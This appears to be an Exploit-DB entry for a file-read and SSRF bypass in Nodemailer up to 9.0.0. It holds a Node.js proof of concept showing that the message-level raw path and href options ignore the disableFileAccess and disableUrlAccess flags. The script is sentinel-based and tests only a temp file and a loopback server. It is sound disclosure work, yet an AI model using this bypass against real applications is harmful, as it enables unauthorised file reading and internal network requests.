Nodemailer 9.0.0 - File Read/ SSRF

EDB-ID:

52654

CVE:

N/A




Platform:

Multiple

Date:

2026-08-18


# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/nodemailer/nodemailer 

# Software Link: https://www.npmjs.com/package/nodemailer 

# Version: nodemailer <= 9.0.0 (fixed 9.0.1)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer 



MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc-raw-fileaccess-bypass.js) ---

'use strict';

/*

* PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess.

*

* Threat model: an application that accepts untrusted message data passes

* `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to

* prevent that untrusted input from reading local files or fetching URLs

* (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about).

*

* This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message

* is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root

* node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike

* every attachment/alternative node which is created with the flags.

*

* Benign marker: a sentinel file in the OS temp dir whose unique nonce we look

* for in the generated message. No network, no destructive action.

*/

const nodemailer = require('../../../nodemailer');

const fs = require('fs');

const os = require('os');

const path = require('path');

const http = require('http');



const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6);

const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml');

fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n');



function buildMessage(data, cb) {

    // streamTransport => fully local, returns the generated message as a stream.

    const transporter = nodemailer.createTransport({

        streamTransport: true,

        buffer: true,

        // The application's protective flags:

        disableFileAccess: true,

        disableUrlAccess: true

    });

    transporter.sendMail(data, (err, info) => {

        if (err) return cb(err);

        cb(null, info.message.toString());

    });

}



function run() {

    console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);

    console.log('Sentinel file     :', sentinelPath);

    console.log('Nonce             :', NONCE);

    console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n');



    // --- CONTROL: a normal attachment with the same path MUST be rejected ---

    buildMessage(

        { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },

        (err, msg) => {

            const controlBlocked = !!err && err.code === 'EFILEACCESS';

            console.log('[CONTROL] attachment path with disableFileAccess:');

            console.log('  => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));



            // --- ATTACK: message-level raw with the same path ---

            buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {

                if (err2) {

                    console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);

                    return finishUrl(controlBlocked, false);

                }

                const leaked = msg2.indexOf(NONCE) !== -1;

                console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:');

                console.log('  => ' + (leaked

                    ? 'BYPASSED — sentinel file CONTENT is present in the generated message'

                    : 'not leaked (sentinel nonce absent)'));

                if (leaked) {

                    const idx = msg2.indexOf(NONCE);

                    console.log('  excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');

                }

                finishUrl(controlBlocked, leaked);

            });

        }

    );

}



// Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server.

function finishUrl(controlBlocked, fileLeaked) {

    const URLNONCE = NONCE + '-URL';

    const server = http.createServer((req, res) => {

        res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n');

    });

    server.listen(0, '127.0.0.1', () => {

        const port = server.address().port;

        const href = ' http://127.0.0.1 :' + port + '/sentinel';

        buildMessage({ raw: { href: href } }, (err, msg) => {

            let urlLeaked = false;

            if (err) {

                console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);

            } else {

                urlLeaked = msg.indexOf(URLNONCE) !== -1;

                console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');

                console.log('  => ' + (urlLeaked

                    ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'

                    : 'not leaked'));

            }

            server.close();

            try { fs.unlinkSync(sentinelPath); } catch (_e) {}



            console.log('\n================ RESULT ================');

            console.log('control attachment blocked by flag : ' + controlBlocked);

            console.log('raw:{path} file-access bypass      : ' + fileLeaked);

            console.log('raw:{href} url-access  bypass      : ' + urlLeaked);

            const pass = controlBlocked && (fileLeaked || urlLeaked);

            console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));

            process.exit(pass ? 0 : 1);

        });

    });

}



run();